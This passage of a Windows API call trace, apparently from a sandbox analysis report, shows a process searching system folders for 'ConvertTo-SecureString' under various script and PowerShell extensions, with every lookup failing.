nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0121.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.738] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.738] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.CMD", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\ConvertTo-SecureString.CMD", lpFilePart=0x0) returned 0x2e [0121.738] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.CMD", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.CMD", lpFilePart=0x0) returned 0x38 [0121.738] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.CMD", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.738] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.738] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0121.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.739] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.739] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.VBS", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\ConvertTo-SecureString.VBS", lpFilePart=0x0) returned 0x2e [0121.739] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.VBS", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.VBS", lpFilePart=0x0) returned 0x38 [0121.739] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.VBS", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.739] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.739] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0121.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.739] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.739] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.VBE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\ConvertTo-SecureString.VBE", lpFilePart=0x0) returned 0x2e [0121.739] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.VBE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.VBE", lpFilePart=0x0) returned 0x38 [0121.740] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.VBE", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.740] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.740] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0121.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.740] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.740] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.JS", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\ConvertTo-SecureString.JS", lpFilePart=0x0) returned 0x2d [0121.740] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.JS", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.JS", lpFilePart=0x0) returned 0x37 [0121.740] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.JS", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.741] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.741] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0121.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.741] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.741] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.JSE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\ConvertTo-SecureString.JSE", lpFilePart=0x0) returned 0x2e [0121.741] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.JSE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.JSE", lpFilePart=0x0) returned 0x38 [0121.741] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.JSE", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.741] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.742] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0121.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.742] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.742] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.WSF", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\ConvertTo-SecureString.WSF", lpFilePart=0x0) returned 0x2e [0121.742] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.WSF", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.WSF", lpFilePart=0x0) returned 0x38 [0121.742] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.WSF", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.742] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.742] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0121.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.742] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.742] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.WSH", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\ConvertTo-SecureString.WSH", lpFilePart=0x0) returned 0x2e [0121.743] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.WSH", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.WSH", lpFilePart=0x0) returned 0x38 [0121.743] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.WSH", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.743] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.743] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0121.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.743] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.743] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.MSC", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\ConvertTo-SecureString.MSC", lpFilePart=0x0) returned 0x2e [0121.743] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.MSC", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.MSC", lpFilePart=0x0) returned 0x38 [0121.743] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.MSC", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.743] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.744] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0121.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.744] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.744] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.CPL", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\ConvertTo-SecureString.CPL", lpFilePart=0x0) returned 0x2e [0121.744] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.CPL", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.CPL", lpFilePart=0x0) returned 0x38 [0121.744] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.CPL", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.744] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.744] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0121.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.744] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.744] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\ConvertTo-SecureString", lpFilePart=0x0) returned 0x2a [0121.745] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString", lpFilePart=0x0) returned 0x34 [0121.745] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.745] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.745] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0121.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.745] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.745] GetFullPathNameW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.ps1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\ConvertTo-SecureString.ps1", lpFilePart=0x0) returned 0x25 [0121.745] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.ps1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.ps1", lpFilePart=0x0) returned 0x38 [0121.745] FindFirstFileW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.ps1", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.745] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.746] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0121.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.746] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.746] GetFullPathNameW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.psm1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\ConvertTo-SecureString.psm1", lpFilePart=0x0) returned 0x26 [0121.746] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.psm1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.psm1", lpFilePart=0x0) returned 0x39 [0121.746] FindFirstFileW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.psm1", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.746] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.746] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0121.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.746] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.746] GetFullPathNameW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.psd1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\ConvertTo-SecureString.psd1", lpFilePart=0x0) returned 0x26 [0121.746] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.psd1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.psd1", lpFilePart=0x0) returned 0x39 [0121.747] FindFirstFileW (in: lpFileName="C:\\Windows\\ConvertTo-SecureString.psd1", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.747] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0121.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.747] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, 